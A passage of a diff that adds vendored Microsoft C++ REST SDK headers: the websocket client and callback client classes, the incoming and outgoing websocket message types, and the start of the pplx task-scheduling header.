|
std::string m_msg;
|
||||||
|
};
|
||||||
|
|
||||||
|
namespace details
|
||||||
|
{
|
||||||
|
// Interface to be implemented by the websocket client callback implementations.
|
||||||
|
class websocket_client_callback_impl
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
websocket_client_callback_impl(websocket_client_config config) : m_config(std::move(config)) {}
|
||||||
|
|
||||||
|
virtual ~websocket_client_callback_impl() CPPREST_NOEXCEPT {}
|
||||||
|
|
||||||
|
virtual pplx::task<void> connect() = 0;
|
||||||
|
|
||||||
|
virtual pplx::task<void> send(websocket_outgoing_message& msg) = 0;
|
||||||
|
|
||||||
|
virtual void set_message_handler(const std::function<void(const websocket_incoming_message&)>& handler) = 0;
|
||||||
|
|
||||||
|
virtual pplx::task<void> close() = 0;
|
||||||
|
|
||||||
|
virtual pplx::task<void> close(websocket_close_status close_status,
|
||||||
|
const utility::string_t& close_reason = _XPLATSTR("")) = 0;
|
||||||
|
|
||||||
|
virtual void set_close_handler(
|
||||||
|
const std::function<void(websocket_close_status, const utility::string_t&, const std::error_code&)>&
|
||||||
|
handler) = 0;
|
||||||
|
|
||||||
|
const web::uri& uri() const { return m_uri; }
|
||||||
|
|
||||||
|
void set_uri(const web::uri& uri) { m_uri = uri; }
|
||||||
|
|
||||||
|
const websocket_client_config& config() const { return m_config; }
|
||||||
|
|
||||||
|
static void verify_uri(const web::uri& uri)
|
||||||
|
{
|
||||||
|
// Most of the URI schema validation is taken care by URI class.
|
||||||
|
// We only need to check certain things specific to websockets.
|
||||||
|
if (uri.scheme() != _XPLATSTR("ws") && uri.scheme() != _XPLATSTR("wss"))
|
||||||
|
{
|
||||||
|
throw std::invalid_argument("URI scheme must be 'ws' or 'wss'");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (uri.host().empty())
|
||||||
|
{
|
||||||
|
throw std::invalid_argument("URI must contain a hostname.");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Fragment identifiers are meaningless in the context of WebSocket URIs
|
||||||
|
// and MUST NOT be used on these URIs.
|
||||||
|
if (!uri.fragment().empty())
|
||||||
|
{
|
||||||
|
throw std::invalid_argument("WebSocket URI must not contain fragment identifiers");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
protected:
|
||||||
|
web::uri m_uri;
|
||||||
|
websocket_client_config m_config;
|
||||||
|
};
|
||||||
|
|
||||||
|
// Interface to be implemented by the websocket client task implementations.
|
||||||
|
class websocket_client_task_impl
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
_ASYNCRTIMP websocket_client_task_impl(websocket_client_config config);
|
||||||
|
|
||||||
|
_ASYNCRTIMP virtual ~websocket_client_task_impl() CPPREST_NOEXCEPT;
|
||||||
|
|
||||||
|
_ASYNCRTIMP pplx::task<websocket_incoming_message> receive();
|
||||||
|
|
||||||
|
_ASYNCRTIMP void close_pending_tasks_with_error(const websocket_exception& exc);
|
||||||
|
|
||||||
|
const std::shared_ptr<websocket_client_callback_impl>& callback_client() const { return m_callback_client; };
|
||||||
|
|
||||||
|
private:
|
||||||
|
void set_handler();
|
||||||
|
|
||||||
|
// When a message arrives, if there are tasks waiting for a message, signal the topmost one.
|
||||||
|
// Else enqueue the message in a queue.
|
||||||
|
// m_receive_queue_lock : to guard access to the queue & m_client_closed
|
||||||
|
std::mutex m_receive_queue_lock;
|
||||||
|
// Queue to store incoming messages when there are no tasks waiting for a message
|
||||||
|
std::queue<websocket_incoming_message> m_receive_msg_queue;
|
||||||
|
// Queue to maintain the receive tasks when there are no messages(yet).
|
||||||
|
std::queue<pplx::task_completion_event<websocket_incoming_message>> m_receive_task_queue;
|
||||||
|
|
||||||
|
// Initially set to false, becomes true if a close frame is received from the server or
|
||||||
|
// if the underlying connection is aborted or terminated.
|
||||||
|
bool m_client_closed;
|
||||||
|
|
||||||
|
std::shared_ptr<websocket_client_callback_impl> m_callback_client;
|
||||||
|
};
|
||||||
|
} // namespace details
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Websocket client class, used to maintain a connection to a remote host for an extended session.
|
||||||
|
/// </summary>
|
||||||
|
class websocket_client
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
/// <summary>
|
||||||
|
/// Creates a new websocket_client.
|
||||||
|
/// </summary>
|
||||||
|
websocket_client() : m_client(std::make_shared<details::websocket_client_task_impl>(websocket_client_config())) {}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Creates a new websocket_client.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="config">The client configuration object containing the possible configuration options to initialize
|
||||||
|
/// the <c>websocket_client</c>. </param>
|
||||||
|
websocket_client(websocket_client_config config)
|
||||||
|
: m_client(std::make_shared<details::websocket_client_task_impl>(std::move(config)))
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Connects to the remote network destination. The connect method initiates the websocket handshake with the
|
||||||
|
/// remote network destination, takes care of the protocol upgrade request.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="uri">The uri address to connect. </param>
|
||||||
|
/// <returns>An asynchronous operation that is completed once the client has successfully connected to the websocket
|
||||||
|
/// server.</returns>
|
||||||
|
pplx::task<void> connect(const web::uri& uri)
|
||||||
|
{
|
||||||
|
m_client->callback_client()->verify_uri(uri);
|
||||||
|
m_client->callback_client()->set_uri(uri);
|
||||||
|
auto client = m_client;
|
||||||
|
return m_client->callback_client()->connect().then([client](pplx::task<void> result) {
|
||||||
|
try
|
||||||
|
{
|
||||||
|
result.get();
|
||||||
|
}
|
||||||
|
catch (const websocket_exception& ex)
|
||||||
|
{
|
||||||
|
client->close_pending_tasks_with_error(ex);
|
||||||
|
throw;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Sends a websocket message to the server .
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>An asynchronous operation that is completed once the message is sent.</returns>
|
||||||
|
pplx::task<void> send(websocket_outgoing_message msg) { return m_client->callback_client()->send(msg); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Receive a websocket message.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>An asynchronous operation that is completed when a message has been received by the client
|
||||||
|
/// endpoint.</returns>
|
||||||
|
pplx::task<websocket_incoming_message> receive() { return m_client->receive(); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Closes a websocket client connection, sends a close frame to the server and waits for a close message from the
|
||||||
|
/// server.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>An asynchronous operation that is completed the connection has been successfully closed.</returns>
|
||||||
|
pplx::task<void> close() { return m_client->callback_client()->close(); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Closes a websocket client connection, sends a close frame to the server and waits for a close message from the
|
||||||
|
/// server.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="close_status">Endpoint MAY use the following pre-defined status codes when sending a Close
|
||||||
|
/// frame.</param> <param name="close_reason">While closing an established connection, an endpoint may indicate the
|
||||||
|
/// reason for closure.</param> <returns>An asynchronous operation that is completed the connection has been
|
||||||
|
/// successfully closed.</returns>
|
||||||
|
pplx::task<void> close(websocket_close_status close_status, const utility::string_t& close_reason = _XPLATSTR(""))
|
||||||
|
{
|
||||||
|
return m_client->callback_client()->close(close_status, close_reason);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets the websocket client URI.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>URI connected to.</returns>
|
||||||
|
const web::uri& uri() const { return m_client->callback_client()->uri(); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets the websocket client config object.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>A reference to the client configuration object.</returns>
|
||||||
|
const websocket_client_config& config() const { return m_client->callback_client()->config(); }
|
||||||
|
|
||||||
|
private:
|
||||||
|
std::shared_ptr<details::websocket_client_task_impl> m_client;
|
||||||
|
};
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Websocket client class, used to maintain a connection to a remote host for an extended session, uses callback APIs
|
||||||
|
/// for handling receive and close event instead of async task. For some scenarios would be a alternative for the
|
||||||
|
/// websocket_client like if you want to special handling on close event.
|
||||||
|
/// </summary>
|
||||||
|
class websocket_callback_client
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
/// <summary>
|
||||||
|
/// Creates a new websocket_callback_client.
|
||||||
|
/// </summary>
|
||||||
|
_ASYNCRTIMP websocket_callback_client();
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Creates a new websocket_callback_client.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="client_config">The client configuration object containing the possible configuration options to
|
||||||
|
/// initialize the <c>websocket_client</c>. </param>
|
||||||
|
_ASYNCRTIMP websocket_callback_client(websocket_client_config client_config);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Connects to the remote network destination. The connect method initiates the websocket handshake with the
|
||||||
|
/// remote network destination, takes care of the protocol upgrade request.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="uri">The uri address to connect. </param>
|
||||||
|
/// <returns>An asynchronous operation that is completed once the client has successfully connected to the websocket
|
||||||
|
/// server.</returns>
|
||||||
|
pplx::task<void> connect(const web::uri& uri)
|
||||||
|
{
|
||||||
|
m_client->verify_uri(uri);
|
||||||
|
m_client->set_uri(uri);
|
||||||
|
return m_client->connect();
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Sends a websocket message to the server .
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>An asynchronous operation that is completed once the message is sent.</returns>
|
||||||
|
pplx::task<void> send(websocket_outgoing_message msg) { return m_client->send(msg); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Set the received handler for notification of client websocket messages.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="handler">A function representing the incoming websocket messages handler. It's parameters are:
|
||||||
|
/// msg: a <c>websocket_incoming_message</c> value indicating the message received
|
||||||
|
/// </param>
|
||||||
|
/// <remarks>If this handler is not set before connecting incoming messages will be missed.</remarks>
|
||||||
|
void set_message_handler(const std::function<void(const websocket_incoming_message& msg)>& handler)
|
||||||
|
{
|
||||||
|
m_client->set_message_handler(handler);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Closes a websocket client connection, sends a close frame to the server and waits for a close message from the
|
||||||
|
/// server.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>An asynchronous operation that is completed the connection has been successfully closed.</returns>
|
||||||
|
pplx::task<void> close() { return m_client->close(); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Closes a websocket client connection, sends a close frame to the server and waits for a close message from the
|
||||||
|
/// server.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="close_status">Endpoint MAY use the following pre-defined status codes when sending a Close
|
||||||
|
/// frame.</param> <param name="close_reason">While closing an established connection, an endpoint may indicate the
|
||||||
|
/// reason for closure.</param> <returns>An asynchronous operation that is completed the connection has been
|
||||||
|
/// successfully closed.</returns>
|
||||||
|
pplx::task<void> close(websocket_close_status close_status, const utility::string_t& close_reason = _XPLATSTR(""))
|
||||||
|
{
|
||||||
|
return m_client->close(close_status, close_reason);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Set the closed handler for notification of client websocket closing event.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="handler">The handler for websocket closing event, It's parameters are:
|
||||||
|
/// close_status: The pre-defined status codes used by the endpoint when sending a Close frame.
|
||||||
|
/// reason: The reason string used by the endpoint when sending a Close frame.
|
||||||
|
/// error: The error code if the websocket is closed with abnormal error.
|
||||||
|
/// </param>
|
||||||
|
void set_close_handler(const std::function<void(websocket_close_status close_status,
|
||||||
|
const utility::string_t& reason,
|
||||||
|
const std::error_code& error)>& handler)
|
||||||
|
{
|
||||||
|
m_client->set_close_handler(handler);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets the websocket client URI.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>URI connected to.</returns>
|
||||||
|
const web::uri& uri() const { return m_client->uri(); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets the websocket client config object.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>A reference to the client configuration object.</returns>
|
||||||
|
const websocket_client_config& config() const { return m_client->config(); }
|
||||||
|
|
||||||
|
private:
|
||||||
|
std::shared_ptr<details::websocket_client_callback_impl> m_client;
|
||||||
|
};
|
||||||
|
|
||||||
|
} // namespace client
|
||||||
|
} // namespace websockets
|
||||||
|
} // namespace web
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif
|
|
@ -0,0 +1,231 @@
|
||||||
|
/***
|
||||||
|
* Copyright (C) Microsoft. All rights reserved.
|
||||||
|
* Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.
|
||||||
|
*
|
||||||
|
* =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
|
||||||
|
*
|
||||||
|
* Websocket incoming and outgoing message definitions.
|
||||||
|
*
|
||||||
|
* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||||
|
****/
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/details/basic_types.h"
|
||||||
|
|
||||||
|
#if !defined(CPPREST_EXCLUDE_WEBSOCKETS)
|
||||||
|
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/asyncrt_utils.h"
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/containerstream.h"
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/streams.h"
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/uri.h"
|
||||||
|
#include "Common/CppRestSdk/include/pplx/pplxtasks.h"
|
||||||
|
#include <limits>
|
||||||
|
#include <memory>
|
||||||
|
|
||||||
|
namespace web
|
||||||
|
{
|
||||||
|
namespace websockets
|
||||||
|
{
|
||||||
|
namespace client
|
||||||
|
{
|
||||||
|
namespace details
|
||||||
|
{
|
||||||
|
class winrt_callback_client;
|
||||||
|
class wspp_callback_client;
|
||||||
|
#if defined(__cplusplus_winrt)
|
||||||
|
ref class ReceiveContext;
|
||||||
|
#endif
|
||||||
|
} // namespace details
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The different types of websocket message.
|
||||||
|
/// Text type contains UTF-8 encoded data.
|
||||||
|
/// Interpretation of Binary type is left to the application.
|
||||||
|
/// Note: The fragment types and control frames like close, ping, pong are not supported on WinRT.
|
||||||
|
/// </summary>
|
||||||
|
enum class websocket_message_type
|
||||||
|
{
|
||||||
|
text_message,
|
||||||
|
binary_message,
|
||||||
|
close,
|
||||||
|
ping,
|
||||||
|
pong
|
||||||
|
};
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Represents an outgoing websocket message
|
||||||
|
/// </summary>
|
||||||
|
class websocket_outgoing_message
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
#if !defined(__cplusplus_winrt)
|
||||||
|
/// <summary>
|
||||||
|
/// Sets a the outgoing message to be an unsolicited pong message.
|
||||||
|
/// This is useful when the client side wants to check whether the server is alive.
|
||||||
|
/// </summary>
|
||||||
|
void set_pong_message() { this->set_message_pong(); }
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Sets a UTF-8 message as the message body.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="data">UTF-8 String containing body of the message.</param>
|
||||||
|
void set_utf8_message(std::string&& data)
|
||||||
|
{
|
||||||
|
this->set_message(concurrency::streams::container_buffer<std::string>(std::move(data)));
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Sets a UTF-8 message as the message body.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="data">UTF-8 String containing body of the message.</param>
|
||||||
|
void set_utf8_message(const std::string& data)
|
||||||
|
{
|
||||||
|
this->set_message(concurrency::streams::container_buffer<std::string>(data));
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Sets a UTF-8 message as the message body.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="istream">casablanca input stream representing the body of the message.</param>
|
||||||
|
/// <remarks>Upon sending, the entire stream may be buffered to determine the length.</remarks>
|
||||||
|
void set_utf8_message(const concurrency::streams::istream& istream)
|
||||||
|
{
|
||||||
|
this->set_message(istream, SIZE_MAX, websocket_message_type::text_message);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Sets a UTF-8 message as the message body.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="istream">casablanca input stream representing the body of the message.</param>
|
||||||
|
/// <param name="len">number of bytes to send.</param>
|
||||||
|
void set_utf8_message(const concurrency::streams::istream& istream, size_t len)
|
||||||
|
{
|
||||||
|
this->set_message(istream, len, websocket_message_type::text_message);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Sets binary data as the message body.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="istream">casablanca input stream representing the body of the message.</param>
|
||||||
|
/// <param name="len">number of bytes to send.</param>
|
||||||
|
void set_binary_message(const concurrency::streams::istream& istream, size_t len)
|
||||||
|
{
|
||||||
|
this->set_message(istream, len, websocket_message_type::binary_message);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Sets binary data as the message body.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="istream">Input stream representing the body of the message.</param>
|
||||||
|
/// <remarks>Upon sending, the entire stream may be buffered to determine the length.</remarks>
|
||||||
|
void set_binary_message(const concurrency::streams::istream& istream)
|
||||||
|
{
|
||||||
|
this->set_message(istream, SIZE_MAX, websocket_message_type::binary_message);
|
||||||
|
}
|
||||||
|
|
||||||
|
private:
|
||||||
|
friend class details::winrt_callback_client;
|
||||||
|
friend class details::wspp_callback_client;
|
||||||
|
|
||||||
|
pplx::task_completion_event<void> m_body_sent;
|
||||||
|
concurrency::streams::streambuf<uint8_t> m_body;
|
||||||
|
websocket_message_type m_msg_type;
|
||||||
|
size_t m_length;
|
||||||
|
|
||||||
|
void signal_body_sent() const { m_body_sent.set(); }
|
||||||
|
|
||||||
|
void signal_body_sent(const std::exception_ptr& e) const { m_body_sent.set_exception(e); }
|
||||||
|
|
||||||
|
const pplx::task_completion_event<void>& body_sent() const { return m_body_sent; }
|
||||||
|
|
||||||
|
#if !defined(__cplusplus_winrt)
|
||||||
|
void set_message_pong()
|
||||||
|
{
|
||||||
|
concurrency::streams::container_buffer<std::string> buffer("");
|
||||||
|
m_msg_type = websocket_message_type::pong;
|
||||||
|
m_length = static_cast<size_t>(buffer.size());
|
||||||
|
m_body = buffer;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
void set_message(const concurrency::streams::container_buffer<std::string>& buffer)
|
||||||
|
{
|
||||||
|
m_msg_type = websocket_message_type::text_message;
|
||||||
|
m_length = static_cast<size_t>(buffer.size());
|
||||||
|
m_body = buffer;
|
||||||
|
}
|
||||||
|
|
||||||
|
void set_message(const concurrency::streams::istream& istream, size_t len, websocket_message_type msg_type)
|
||||||
|
{
|
||||||
|
m_msg_type = msg_type;
|
||||||
|
m_length = len;
|
||||||
|
m_body = istream.streambuf();
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Represents an incoming websocket message
|
||||||
|
/// </summary>
|
||||||
|
class websocket_incoming_message
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
/// <summary>
|
||||||
|
/// Extracts the body of the incoming message as a string value, only if the message type is UTF-8.
|
||||||
|
/// A body can only be extracted once because in some cases an optimization is made where the data is 'moved' out.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>String containing body of the message.</returns>
|
||||||
|
_ASYNCRTIMP pplx::task<std::string> extract_string() const;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Produces a stream which the caller may use to retrieve body from an incoming message.
|
||||||
|
/// Can be used for both UTF-8 (text) and binary message types.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>A readable, open asynchronous stream.</returns>
|
||||||
|
/// <remarks>
|
||||||
|
/// This cannot be used in conjunction with any other means of getting the body of the message.
|
||||||
|
/// </remarks>
|
||||||
|
concurrency::streams::istream body() const
|
||||||
|
{
|
||||||
|
auto to_uint8_t_stream =
|
||||||
|
[](const concurrency::streams::streambuf<uint8_t>& buf) -> concurrency::streams::istream {
|
||||||
|
return buf.create_istream();
|
||||||
|
};
|
||||||
|
return to_uint8_t_stream(m_body);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Returns the length of the received message.
|
||||||
|
/// </summary>
|
||||||
|
size_t length() const { return static_cast<size_t>(m_body.size()); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Returns the type of the received message.
|
||||||
|
/// </summary>
|
||||||
|
CASABLANCA_DEPRECATED("Incorrectly spelled API, use message_type() instead.")
|
||||||
|
websocket_message_type messge_type() const { return m_msg_type; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Returns the type of the received message, either string or binary.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>websocket_message_type</returns>
|
||||||
|
websocket_message_type message_type() const { return m_msg_type; }
|
||||||
|
|
||||||
|
private:
|
||||||
|
friend class details::winrt_callback_client;
|
||||||
|
friend class details::wspp_callback_client;
|
||||||
|
#if defined(__cplusplus_winrt)
|
||||||
|
friend ref class details::ReceiveContext;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// Store message body in a container buffer backed by a string.
|
||||||
|
// Allows for optimization in the string message cases.
|
||||||
|
concurrency::streams::container_buffer<std::string> m_body;
|
||||||
|
websocket_message_type m_msg_type;
|
||||||
|
};
|
||||||
|
|
||||||
|
} // namespace client
|
||||||
|
} // namespace websockets
|
||||||
|
} // namespace web
|
||||||
|
|
||||||
|
#endif
|
|
@ -0,0 +1,211 @@
|
||||||
|
/***
|
||||||
|
* Copyright (C) Microsoft. All rights reserved.
|
||||||
|
* Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.
|
||||||
|
*
|
||||||
|
* =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
|
||||||
|
*
|
||||||
|
* Parallel Patterns Library
|
||||||
|
*
|
||||||
|
* For the latest on this and related APIs, please see: https://github.com/Microsoft/cpprestsdk
|
||||||
|
*
|
||||||
|
* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||||
|
****/
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#ifndef _PPLX_H
|
||||||
|
#define _PPLX_H
|
||||||
|
|
||||||
|
#if (defined(_MSC_VER) && (_MSC_VER >= 1800)) && !CPPREST_FORCE_PPLX
|
||||||
|
#error This file must not be included for Visual Studio 12 or later
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef _WIN32
|
||||||
|
#if defined(_WIN32) || defined(__cplusplus_winrt)
|
||||||
|
#define _WIN32
|
||||||
|
#endif
|
||||||
|
#endif // _WIN32
|
||||||
|
|
||||||
|
#ifdef _NO_PPLXIMP
|
||||||
|
#define _PPLXIMP
|
||||||
|
#else
|
||||||
|
#ifdef _PPLX_EXPORT
|
||||||
|
#define _PPLXIMP __declspec(dllexport)
|
||||||
|
#else
|
||||||
|
#define _PPLXIMP __declspec(dllimport)
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/details/cpprest_compat.h"
|
||||||
|
|
||||||
|
// Use PPLx
|
||||||
|
#ifdef _WIN32
|
||||||
|
#include "Common/CppRestSdk/include/pplx/pplxwin.h"
|
||||||
|
#elif defined(__APPLE__)
|
||||||
|
#undef _PPLXIMP
|
||||||
|
#define _PPLXIMP
|
||||||
|
#include "Common/CppRestSdk/include/pplx/pplxlinux.h"
|
||||||
|
#else
|
||||||
|
#include "Common/CppRestSdk/include/pplx/pplxlinux.h"
|
||||||
|
#endif // _WIN32
|
||||||
|
|
||||||
|
// Common implementation across all the non-concrt versions
|
||||||
|
#include "Common/CppRestSdk/include/pplx/pplxcancellation_token.h"
|
||||||
|
#include <functional>
|
||||||
|
|
||||||
|
// conditional expression is constant
|
||||||
|
#if defined(_MSC_VER)
|
||||||
|
#pragma warning(push)
|
||||||
|
#pragma warning(disable : 4127)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#pragma pack(push, _CRT_PACKING)
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The <c>pplx</c> namespace provides classes and functions that give you access to the Concurrency Runtime,
|
||||||
|
/// a concurrent programming framework for C++. For more information, see <see cref="Concurrency Runtime"/>.
|
||||||
|
/// </summary>
|
||||||
|
/**/
|
||||||
|
namespace pplx
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Sets the ambient scheduler to be used by the PPL constructs.
|
||||||
|
/// </summary>
|
||||||
|
_PPLXIMP void _pplx_cdecl set_ambient_scheduler(std::shared_ptr<pplx::scheduler_interface> _Scheduler);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets the ambient scheduler to be used by the PPL constructs
|
||||||
|
/// </summary>
|
||||||
|
_PPLXIMP std::shared_ptr<pplx::scheduler_interface> _pplx_cdecl get_ambient_scheduler();
|
||||||
|
|
||||||
|
namespace details
|
||||||
|
{
|
||||||
|
//
|
||||||
|
// An internal exception that is used for cancellation. Users do not "see" this exception except through the
|
||||||
|
// resulting stack unwind. This exception should never be intercepted by user code. It is intended
|
||||||
|
// for use by the runtime only.
|
||||||
|
//
|
||||||
|
class _Interruption_exception : public std::exception
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
_Interruption_exception() {}
|
||||||
|
};
|
||||||
|
|
||||||
|
template<typename _T>
|
||||||
|
struct _AutoDeleter
|
||||||
|
{
|
||||||
|
_AutoDeleter(_T* _PPtr) : _Ptr(_PPtr) {}
|
||||||
|
~_AutoDeleter() { delete _Ptr; }
|
||||||
|
_T* _Ptr;
|
||||||
|
};
|
||||||
|
|
||||||
|
struct _TaskProcHandle
|
||||||
|
{
|
||||||
|
_TaskProcHandle() {}
|
||||||
|
|
||||||
|
virtual ~_TaskProcHandle() {}
|
||||||
|
virtual void invoke() const = 0;
|
||||||
|
|
||||||
|
static void _pplx_cdecl _RunChoreBridge(void* _Parameter)
|
||||||
|
{
|
||||||
|
auto _PTaskHandle = static_cast<_TaskProcHandle*>(_Parameter);
|
||||||
|
_AutoDeleter<_TaskProcHandle> _AutoDeleter(_PTaskHandle);
|
||||||
|
_PTaskHandle->invoke();
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
enum _TaskInliningMode
|
||||||
|
{
|
||||||
|
// Disable inline scheduling
|
||||||
|
_NoInline = 0,
|
||||||
|
// Let runtime decide whether to do inline scheduling or not
|
||||||
|
_DefaultAutoInline = 16,
|
||||||
|
// Always do inline scheduling
|
||||||
|
_ForceInline = -1,
|
||||||
|
};
|
||||||
|
|
||||||
|
// This is an abstraction that is built on top of the scheduler to provide these additional functionalities
|
||||||
|
// - Ability to wait on a work item
|
||||||
|
// - Ability to cancel a work item
|
||||||
|
// - Ability to inline work on invocation of RunAndWait
|
||||||
|
class _TaskCollectionImpl
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
typedef _TaskProcHandle _TaskProcHandle_t;
|
||||||
|
|
||||||
|
_TaskCollectionImpl(scheduler_ptr _PScheduler) : _M_pScheduler(_PScheduler) {}
|
||||||
|
|
||||||
|
void _ScheduleTask(_TaskProcHandle_t* _PTaskHandle, _TaskInliningMode _InliningMode)
|
||||||
|
{
|
||||||
|
if (_InliningMode == _ForceInline)
|
||||||
|
{
|
||||||
|
_TaskProcHandle_t::_RunChoreBridge(_PTaskHandle);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
_M_pScheduler->schedule(_TaskProcHandle_t::_RunChoreBridge, _PTaskHandle);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void _Cancel()
|
||||||
|
{
|
||||||
|
// No cancellation support
|
||||||
|
}
|
||||||
|
|
||||||
|
void _RunAndWait()
|
||||||
|
{
|
||||||
|
// No inlining support yet
|
||||||
|
_Wait();
|
||||||
|
}
|
||||||
|
|
||||||
|
void _Wait() { _M_Completed.wait(); }
|
||||||
|
|
||||||
|
void _Complete() { _M_Completed.set(); }
|
||||||
|
|
||||||
|
scheduler_ptr _GetScheduler() const { return _M_pScheduler; }
|
||||||
|
|
||||||
|
// Fire and forget
|
||||||
|
static void _RunTask(TaskProc_t _Proc, void* _Parameter, _TaskInliningMode _InliningMode)
|
||||||
|
{
|
||||||
|
if (_InliningMode == _ForceInline)
|
||||||
|
{
|
||||||
|
_Proc(_Parameter);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
// Schedule the work on the ambient scheduler
|
||||||
|
get_ambient_scheduler()->schedule(_Proc, _Parameter);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool _pplx_cdecl _Is_cancellation_requested()
|
||||||
